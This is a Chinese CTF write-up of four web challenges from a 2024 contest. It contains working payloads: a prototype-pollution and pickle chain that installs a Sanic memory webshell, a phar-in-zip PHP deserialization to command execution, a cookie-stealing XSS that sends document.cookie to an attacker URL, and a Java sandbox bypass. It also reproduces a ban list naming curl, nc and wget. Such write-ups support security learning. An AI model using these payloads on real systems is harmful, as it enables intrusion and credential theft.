2024强网拟态 web
我们A1natas最后获得了第30 感觉没希望进线下了 尽力了
不过开心的是我ak了web方向的题目
ez_picker /register存在原型链污染 可以污染任意的黑白名单
这里在register的时候 进行了merge操作
写个简单的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import sanicfrom sanic import text, Sanic, Request, responsefrom key import secret_keyapp = Sanic("test" ) users=[] safe_modules = { 'math' , 'datetime' , 'json' , 'collections' } safe_names = { 'sqrt' , 'pow' , 'sin' , 'cos' , 'tan' , 'date' , 'datetime' , 'timedelta' , 'timezone' , 'loads' , 'dumps' , 'namedtuple' , 'deque' , 'Counter' } class User : def __init__ (self, username, password ): self.username = username self.password = password def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and isinstance (v, dict ): merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and isinstance (v, dict ): merge(v, getattr (dst, k)) else : setattr (dst, k, v) @app.route('/' , methods=["GET" , "POST" ] ) async def test (request: Request ): if not request.json: return response.json({"error" : "Request body must be JSON" }, status=400 ) username = request.json.get("username" ) password = request.json.get("password" ) if not username or not password: return response.json({"error" : "Missing username or password" }, status=400 ) NewUser = User("username" , "password" ) merge(request.json, NewUser) print (safe_names) users.append(NewUser) if "builtins" in safe_modules and "eval" in safe_names: print ("win" ) return text("ok" ) if __name__ == '__main__' : app.run(host="0.0.0.0" , port=1145 )
成功完成污染 这里制空了safe_names
那么我们就可以伪造jwt的key 伪造身份
1 2 3 4 5 6 7 8 9 10 { "__class__" : { "__init__" : { "__globals__":{ "secret_key" :"key" } } }, }
然后直接伪造就行
成功伪造
这里pickle处理的逻辑很好玩
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @app.route('/upload' , methods=["GET" , "POST" ] ) @token_required async def upload (request ): if request.method == "GET" : return await file_('templates/upload.html' ) if not request.files: return text("No file provided" , status=400 ) file = request.files.get('file' ) file_object = file[0 ] if isinstance (file, list ) else file try : new_data = restricted_loads(file_object.body) try : my_object.update(new_data) except : return json({"status" : "success" , "message" : "Pickle object loaded but not updated" }) with open (pickle_file, "wb" ) as f: pickle.dump(my_object, f) return json({"status" : "success" , "message" : "Pickle object updated" }) except pickle.UnpicklingError: return text("Dangerous pickle file" , status=400 )
定义了 加载类和方法的 这里设置了白名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 safe_modules = { 'math' , 'datetime' , 'json' , 'collections' , } safe_names = { 'sqrt' , 'pow' , 'sin' , 'cos' , 'tan' , 'date' , 'datetime' , 'timedelta' , 'timezone' , 'loads' , 'dumps' , 'namedtuple' , 'deque' , 'Counter' , 'defaultdict' } class RestrictedUnpickler (pickle.Unpickler): def find_class (self, module, name ): if module in safe_modules and name in safe_names: return getattr (builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s ): return RestrictedUnpickler(io.BytesIO(s)).load() CORS(app, supports_credentials=True , origins=["http://localhost:8000" , "http://127.0.0.1:8000" ])
自己构造一个生成的代码 这里要求从builtins 拿
直接
1 builtins.eval(__import__('os').system('cmd'))
就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import builtinsimport pickleimport iosafe_modules = { 'math' , 'datetime' , 'json' , 'collections' } safe_names = { 'sqrt' , 'pow' , 'sin' , 'cos' , 'tan' , 'date' , 'datetime' , 'timedelta' , 'timezone' , 'loads' , 'dumps' , 'namedtuple' , 'deque' , 'Counter' } need_module={'builtins' } need_name={'eval' } class Exploit : def __reduce__ (self ): return (builtins.eval , ('calc' ,)) class RestrictedUnpickler (pickle.Unpickler): def find_class (self, module, name ): print (f"Attempting to load: module='{module} ', name='{name} '" ) safe_names.add(name) safe_modules.add(module) need_name.add(name) need_module.add(module) if module in need_module and name in need_name: return getattr (builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s ): return RestrictedUnpickler(io.BytesIO(s)).load() with open ("1.bin" ,'wb' ) as f: f.write(pickle.dumps(Exploit())) print (need_name)print (need_module)
这里的黑名单 由于可以污染 所以就是随便玩
payload如下
1 2 3 4 5 6 7 8 9 10 11 12 { "__class__" : { "__init__" : { "__globals__" : { "safe_modules" : [ "builtins" ] , "safe_names" : [ "eval" ] , "secret_key" : "key" } } } , }
然后直接伪造直接打了 上传文件rce 这里打的是sanic内存马
1 2 3 4 class Exploit : def __reduce__ (self ): return (builtins.eval , ('app.add_route(lambda request: __import__("os").popen(request.args.get("cmd")).read(),"/shell", methods=["GET"])' ,))
得到flag
Capoo 存在任意文件读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php class CapooObj { public function __wakeup ( ) { $action = $this ->action; $action = str_replace ("\"" , "" , $action ); $action = str_replace ("\'" , "" , $action ); $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i" ; if (preg_match ($banlist , $action )){ die ("Not Allowed!" ); } system ($this ->action); } } header ("Content-type:text/html;charset=utf-8" );if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_POST ['capoo' ])) { $file = $_POST ['capoo' ]; if (file_exists ($file )) { $data = file_get_contents ($file ); $base64 = base64_encode ($data ); } else if (substr ($file , 0 , strlen ("http://" )) === "http://" ) { $data = file_get_contents ($_POST ['capoo' ] . "/capoo.gif" ); if (strpos ($data , "PILER" ) !== false ) { die ("Capoo piler not allowed!" ); } file_put_contents ("capoo_img/capoo.gif" , $data ); die ("Download Capoo OK" ); } else { die ('Capoo does not exist.' ); } } else { die ('No capoo provided.' ); } ?> <!DOCTYPE html> <html> <head> <title>Display Capoo</title> </head> <body> <img style='display:block; width:100px;height:100px;' id='base64image' src='data:image/gif;base64, <?php echo $base64;?>' /> </body> </html>
得到源代码
可以构造phar包 然后打
注意到这里给PILER 过滤了 可以简单的zip绕过一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class CapooObj { public $action; // public function __wakeup() // { // $action = $this->action; // $action = str_replace("\"", "", $action); // $action = str_replace("\'", "", $action); // $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i"; // if(preg_match($banlist, $action)){ // die("Not Allowed!"); // } // system($this->action); // } } $paylaod = new CapooObj(); $paylaod->action = "find / > 2"; // //$phar = new Phar('phar.phar'); //$phar -> stopBuffering(); /*$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//伪造为gif*/ //$phar -> addFromString('text.txt','test'); //$phar -> setMetadata($paylaod);//object是入口 //$phar -> stopBuffering(); $phar_file = serialize($paylaod); echo $phar_file; $zip = new ZipArchive(); $res = $zip->open('1.zip',ZipArchive::CREATE); $zip->addFromString('crispr.txt', 'file content goes here'); $zip->setArchiveComment($phar_file); $zip->close();
上传打就行
成功拿到 然后phar解析触发链子 得到目录
读取到flag
Spreader
第一眼 好厉害的过滤 第二眼 欸 image呢
1 <img src="invalid.jpg" onerror=document.location='http://url:port?cookie'+document.cookie />
然后带着cookies上去就行了
这题看到别人的wp 还可以直接读取flag 不过fetch时间比较短 需要看运气
OnlineRunner 可以执行任意的java代码 但是要绕过rasp
gpt跑一份payload遍历和读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 java.lang.String directoryPath = "/home/ctf/sandbox" ; java.io.File folder = new java .io.File(directoryPath); if (folder.exists() && folder.isDirectory()) { java.io.File[] files = folder.listFiles(); if (files != null ) { for (java.io.File file : files) { java.lang.System.out.println((file.isDirectory() ? "[DIR] " : "[FILE] " ) + file.getName() + " " + permissions); } } else { java.lang.System.out.println("该目录是空的!" ); } } else { java.lang.System.out.println("目录不存在或不是有效的目录!" ); } }
读取到agent.jar jadx干一下
这个是一个alibaba.jvm sandbox 这个东西 网上文档里面 可以使用webui去关闭
先读取webui的端口 然后用代码去访问关闭
gpt代码跑一下
弹shell
这题可以使用unsafe绕过jdk17限制 然后加载任意字节码 应该是可以关掉这个rasp的 不过没细搞 再说吧
后记